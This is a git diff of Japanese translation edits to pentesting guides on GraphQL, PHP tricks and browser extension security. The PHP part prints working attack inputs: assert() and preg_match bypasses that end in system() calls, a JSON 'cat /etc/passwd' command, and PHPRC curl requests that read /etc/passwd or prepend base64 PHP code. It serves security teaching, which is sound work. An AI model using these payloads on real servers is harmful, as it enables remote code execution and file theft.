POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です: +前の例では、`@aa`は**宣言されていない可能性がある**カスタムディレクティブであることに注意してください。通常存在する一般的なディレクティブは**`@include`**です: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -531,11 +531,11 @@ curl -X POST \ -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 'https://example.com/graphql' ``` -そして、**いくつかのカスタム**を使用します。 +そして**カスタムのいくつかを使用します**。 ### **フィールド重複脆弱性** -**フィールド重複**は、GraphQLサーバーが同じフィールドを過度に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、何百または何千もの繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 +**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 1812605f6..ee27a2de6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -2,7 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -## Cookies common location: + +## Cookiesの一般的な場所: これはphpMyAdminのクッキーにも当てはまります。 @@ -22,9 +23,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e ### 緩やかな比較/型ジャグリング ( == ) -PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較するデータの型も同じであることを確認したい場合は、`===`を使用する必要があります。 +PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。 -PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) +PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php) ![](<../../../images/image (567).png>) @@ -34,7 +35,7 @@ PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www. - `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます) - `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい - `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、何かが続く文字列は0と等しい -- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、文字が含まれないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい 詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。 @@ -85,18 +86,18 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -このチェックを回避するには、**新しい行をURLエンコードした値**(`%0A`)を**送信する**か、**JSONデータ**を送信できる場合は、**複数行**で送信します: +このチェックを回避するには、**新しい行をURLエンコードした値を送信する**(`%0A`)か、**JSONデータ**を送信できる場合は、**複数行で送信**します: ```php { "cmd": "cat /etc/passwd" } ``` -Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) +例を見つけるにはこちらを参照してください: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **長さエラーのバイパス** -(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\ -`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストにしている場合、次のように送信できます: +(このバイパスは明らかに PHP 5.2.5 で試され、PHP 7.3.15 では動作しませんでした)\ +`preg_match()` に有効な非常に **大きな入力** を送信すると、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストにしている場合、次のように送信できます: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -108,13 +109,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の許可数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。 +要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の回数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。 [この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\ -**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のないものと考えさせ、ペイロードの最後に `{system()}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。 +**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system()}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。 -さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えているのです。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\ -それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前進と 500k 後退)を生成します: +さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\ +それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前方と 500k 後方)を生成します: ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -131,7 +132,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します: +PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されない**場合、PHPは実行を続け、データをボディに追加します: ```php ** をチェックして、php ディレクトリが有効になっているか確認してください。 -- [**LFI と RCE を php ラッパーを使用して**](../../../pentesting-web/file-inclusion/) +- マシンの **ユーザー名** を持っている場合、アドレス **/\~\** をチェックして、php ディレクトリが有効になっているか確認します。 +- [**LFI と RCE を使用した php ラッパー**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -201,7 +202,7 @@ php-ssrf.md &#xNAN;**\`ls\`;**\ **shell_exec("ls");** -[こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable_functions-open_basedir-bypass/) +[こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **preg_replace()**による**RCE** ```php @@ -221,8 +222,8 @@ preg_replace("/a/e","phpinfo()","whatever") ``` ### **Assert()によるRCE** -このphp内の関数は、**文字列で書かれたコードを実行する**ことを可能にし、**真または偽を返す**(これに応じて実行を変更する)。通常、ユーザー変数は文字列の中間に挿入される。例えば:\ -`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには次のようにすることができる: +このphp内の関数は、**文字列で書かれたコードを実行**して、**trueまたはfalseを返す**ことを可能にします(これに応じて実行を変更します)。通常、ユーザー変数は文字列の中間に挿入されます。例えば:\ +`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには次のようにできます: ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` @@ -232,7 +233,7 @@ preg_replace("/a/e","phpinfo()","whatever") **別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです:`$file = "hola"` -### **usort()を介したRCE** +### **usort()によるRCE** この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\ この関数を悪用するには: @@ -263,28 +264,28 @@ usort();}phpinfo;#, "cmp"); - `?order=id);}//`: **警告**が表示されます。それは正しいようです。 - `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じ括弧が多すぎます。 -### **.httaccess経由のRCE** +### **.httaccessを介したRCE** -**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**されるように設定すること)。 +**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように設定すること)。 異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。 -### 環境変数経由のRCE +### 環境変数を介したRCE PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。 -- **`PHPRC`** : PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、PHPランタイムによって他のコードの前に実行されます**。 +- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。 1. シェルコードを含むPHPファイルをアップロードします。 -2. ステップ1でアップロードしたファイルを実行するようPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 -3. ステップ2でアップロードしたファイルに`PHPRC`変数を設定します。 +2. 1ステップでアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。 +3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。 - このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます。 - **PHPRC** - 別のオプション -- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます: +- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは、`stdin`に送信されたリクエストの**本体**です: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` -- この技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。 +- 技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。 ### XAMPP CGI RCE - CVE-2024-4577 @@ -310,7 +311,7 @@ phpinfo(); ## PHP サニタイズバイパス & Brain Fuck [**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可される brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\ -さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています: +さらに、いくつかのチェックをバイパスすることを可能にする関数を実行するための興味深い方法も提案されています: ```php (1)->{system($_GET[chr(97)])} ``` @@ -330,7 +331,7 @@ PHPアプリケーションをデバッグしている場合は、`/etc/php5/apa ## PHPラッパーとプロトコル -PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護をバイパス**し、システムを危険にさらすことができます。 [**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。 +PHPラッパーとプロトコルは、システム内の**書き込みおよび読み取り保護をバイパス**し、妥協することを可能にする場合があります。 [**詳細についてはこのページを確認してください**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols)。 ## Xdebugの認証されていないRCE @@ -350,17 +351,17 @@ echo "$x ${Da}"; //Da Drums ``` ## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"]) -ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください: +ページ内で**任意のクラスの新しいオブジェクトを作成できる**場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {{#endref}} -## 文字なしでPHPを実行 +## 文字なしでPHPを実行する [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/) -### 8進数を使用して +### 8進数を使用する ```php $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd); ``` diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index f1d0a334c..565d4d155 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,4 +1,4 @@ -# ブラウザ拡張機能のペンテスト方法論 +# ブラウザ拡張機能のペンテスト手法 {{#include ../../banners/hacktricks-training.md}} @@ -31,11 +31,11 @@ 拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。 -さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることにより、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。 +さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることによって、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。 ## **`manifest.json`** -Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある**`manifest.json`**ファイルで、レイアウト、権限、およびその他の設定オプションを指定します。 +Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある**`manifest.json`**ファイルで、レイアウト、権限、その他の設定オプションを指定します。 例: ```json @@ -61,7 +61,7 @@ Chrome拡張機能は、単に[.crxファイル拡張子](https://www.lifewire.c ``` ### `content_scripts` -コンテンツスクリプトは、ユーザーが**一致するページに移動する**たびに**読み込まれ**、この場合は**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しない任意のページです。これらは**ページ自身のスクリプトのように実行され**、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に対して任意のアクセス権を持っています。 +Content scriptsは、ユーザーが**一致するページに移動する**たびに**読み込まれ**、この場合は**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しない任意のページです。これらは**ページ自身のスクリプトのように実行され**、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に対して任意のアクセス権を持っています。 ```json "content_scripts": [ { @@ -91,7 +91,7 @@ document.body.appendChild(div) ```
-このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用することによります。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、コンテンツスクリプトが通信できる拡張ページにメッセージが送信されます。 +このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用することによります。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。 > [!WARNING] > ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\ @@ -208,7 +208,7 @@ js: ["contentScript.js"], ``` ### `background` -コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイムを通じて持続し、直接的なユーザーの操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。 +コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイム全体にわたって持続し、直接的なユーザーの操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。 **重要なポイント**: @@ -217,7 +217,7 @@ js: ["contentScript.js"], - **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。 > [!TIP] -> 明示的に宣言されていない場合にブラウザがbackground pageを自動生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。 +> 明示的に宣言されていない場合にブラウザがbackground pageを自動生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、動作することを保証し、拡張機能のセットアッププロセスを簡素化します。 Example background script: ```js @@ -227,7 +227,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) } }) ``` -それは、メッセージをリッスンするために [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) を使用します。`"explain"` メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) を使用して新しいタブでページを開きます。 +それは、メッセージをリッスンするために [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) を使用します。 `"explain"` メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) を使用して新しいタブでページを開きます。 バックグラウンドスクリプトをデバッグするには、**拡張機能の詳細に移動してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトを含む開発者ツールが開きます: @@ -237,13 +237,13 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ブラウザ拡張機能にはさまざまな種類のページが含まれることがあります: -- **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウンで表示されます。 +- **アクションページ**は、拡張機能のアイコンがクリックされたときに**ドロップダウンに表示**されます。 - 拡張機能が**新しいタブで読み込む**ページ。 -- **オプションページ**:このページは、クリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` でこのページにアクセスできました。または、クリックすることで: +- **オプションページ**:このページは、クリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` にアクセスするか、次のようにクリックすることでこのページにアクセスできました:
-これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有しています: +これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します: - **コンテンツスクリプトとの通信**:バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。 - **拡張機能固有のAPIへのアクセス**:これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。 @@ -268,7 +268,7 @@ browext-permissions-and-host_permissions.md ```bash script-src 'self'; object-src 'self'; ``` -CSPや潜在的なバイパスに関する詳細情報は、次を確認してください: +CSPおよび潜在的なバイパスに関する詳細は、次を確認してください: {{#ref}} ../content-security-policy-csp-bypass/ @@ -314,7 +314,7 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによっては読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。 +> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによって読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。 > [!CAUTION] > **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。 @@ -323,7 +323,7 @@ browext-clickjacking.md ### `externally_connectable` -[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。これは[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して行われます。 +[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して接続します。 - **`externally_connectable`**キーが拡張機能のマニフェストに**宣言されていない**場合、または**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、ウェブページは接続できません**。 - **特定のIDが指定されている**場合、例えば`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように、**そのアプリケーションのみ**が接続できます。 @@ -338,21 +338,21 @@ browext-clickjacking.md ここで示されている **拡張機能とURL** が少ないほど、**攻撃面は小さく**なります。 > [!CAUTION] -> **`externally_connectable`** に **XSSまたはテイクオーバーに脆弱なウェブページ** が示されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信** でき、コンテンツスクリプトとそのCSPを完全にバイパスすることができます。 +> **`externally_connectable`** に **XSSまたはテイクオーバーに脆弱なウェブページ** が示されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信**でき、コンテンツスクリプトとそのCSPを完全にバイパスできます。 > > したがって、これは **非常に強力なバイパス** です。 > -> さらに、クライアントが不正な拡張機能をインストールした場合、たとえそれが脆弱な拡張機能と通信することが許可されていなくても、**許可されたウェブページにXSSデータを注入** したり、**`WebRequest`** または **`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、ページの **JavaScriptファイル** のリクエストを変更することができます。(ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください)。このアイデアは [**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) 来ています。 +> さらに、クライアントが不正な拡張機能をインストールした場合、脆弱な拡張機能との通信が許可されていなくても、**許可されたウェブページにXSSデータを注入**したり、**`WebRequest`** または **`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、ページの **JavaScriptファイル** のリクエストを変更することができます。(ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください)。このアイデアは [**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) 来ています。 ## コミュニケーションの概要 ### 拡張機能 <--> ウェブアプリ -コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常 **`window.postMessage`** 関数への呼び出しが見られ、コンテンツスクリプトでは **`window.addEventListener`** のようなリスナーが見られます。ただし、拡張機能は **ポストメッセージを送信してウェブアプリケーションと通信** することもでき(したがってウェブはそれを期待する必要があります)、単にウェブに新しいスクリプトを読み込ませることもできます。 +コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常 **`window.postMessage`** 関数への呼び出しが見られ、コンテンツスクリプトでは **`window.addEventListener`** のようなリスナーが見られます。ただし、拡張機能は **ポストメッセージを送信してウェブアプリケーションと通信** することもできるため、ウェブはそれを期待する必要があります。または、単にウェブに新しいスクリプトを読み込ませることもできます。 ### 拡張機能内 -通常、**`chrome.runtime.sendMessage`** 関数が拡張機能内でメッセージを送信するために使用され(通常は `background` スクリプトによって処理されます)、それを受信して処理するためにリスナーが **`chrome.runtime.onMessage.addListener`** を呼び出して宣言されます。 +通常、**`chrome.runtime.sendMessage`** 関数が拡張機能内でメッセージを送信するために使用され(通常は `background` スクリプトによって処理されます)、受信して処理するためにリスナーが **`chrome.runtime.onMessage.addListener`** を呼び出して宣言されます。 **`chrome.runtime.connect()`** を使用して、単一のメッセージを送信する代わりに持続的な接続を持つことも可能で、次の例のように **メッセージを送信** および **受信** するために使用できます。 @@ -397,7 +397,7 @@ console.log("Content script received message from background script:", msg) ```javascript chrome.runtime.sendMessage(extensionId, ... ``` -必要な場合は、**拡張ID**を言及する必要があります。 +必要な場合は**拡張ID**を言及してください。 ### ネイティブメッセージング @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** Content Script Communication -**content scripts**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**Document Object Model (DOM)**、つまり共有リソースと相互作用する能力を持っています。ホストページが**content script**と通信するため、またはcontent scriptを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 +**コンテンツスクリプト**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**ドキュメントオブジェクトモデル (DOM)**、つまり共有リソースと相互作用する能力を持っています。ホストページが**コンテンツスクリプト**と通信するため、またはコンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 ### Post Messages ```javascript:content-script.js @@ -454,7 +454,7 @@ false - **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueになります。 - コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。 -- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可するかもしれません。 +- **origin domain**: 